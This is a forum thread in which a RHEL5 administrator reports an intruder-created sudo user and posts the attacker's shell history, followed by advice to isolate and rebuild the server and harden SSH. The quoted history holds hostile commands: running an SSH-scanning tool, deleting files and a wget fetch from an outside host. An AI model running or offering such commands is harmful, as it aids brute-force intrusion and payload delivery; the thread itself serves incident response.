Dear Experts:
recently installed the rhel5 the same is working fine but all of a suddden i can a user by name joke is created in the /home also this user has added himself as a sudo account
------------following is the var/log/secure------
Aug 6 15:05:54 mail userhelper[8039]: pam_timestamp(system-confi
Aug 6 15:05:54 mail userhelper[8042]: running '/usr/share/authconfig/aut
when checked the history file some commands are executed posted the same for your reference
------------------history-
./go 77
ls -la
./go 100
ps -aux
killall -9 ./ssh-scan
rm -rf bios.txt mfu.txt
nano bios.txt
nano mfu.txt
ls -la
./go 70
./go 71
./gp 72
./go 72
rm -rf bios.txt
nano bios.txt
ls
cat vuln.txt
rm -rf mfu.txt
nano mfu.txt
./go 93
cat vuln.txt
rm -rf vuln.txt
ls -la
rm -rf bios.txt mfu.txt
nano bios.txt
nano mfu.txt
chmod +x *
./screen
screen
wget http://nasa.undernet.nm.ru
--------------------------
as as action i have stopped the ssh sevice , changed the root password
and deleted the user joke also deleted the directory root and one file _pam in the following path /var/run/sudo/root/tty1'
Please tell me what all should i do to deny the hacker login and how to disable the sudo user login, please help me on this , thanks in advance
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also read this one for basic steps to secure a server
http://itmission.org/Main/
always use something like
portsentry, fail2ban
this will prevent server from hacker who trying to use some software to break password for continous time
Business Accounts
Answer for Membership
by: fosiul01Posted on 2009-08-06 at 07:37:36ID: 25033883
1. If you think if your server has been compromised by a hacker, you should immiditely remove that server from network
2. build the server from scratch . because you would not know if the hacker put some script on theserver or not so, even if you deleted that accouout that hacker woudl be able to compromised your server again. So Build your server again from scracth.
3. that hacker must of knowen your root password or he cracked the root password, so affter build the server, give the root password a strong pasword , As complex as you can
4. in sshd_config, use, root permit =No, so no body would be able to login to the server as Root
5. Always use your own login name to login the server by sshd, then use su to root to get root access.
5. Or, put your username in sudofile and give it minimum administrative priviliges to do normal work,if you need more priviligies use su commadn to go back as root
6. best options is, Use RSA base authentication and disable password base autentication, so only by using key you would be able to login to server, and password base authentication woudl not allow
last : build your server from scratch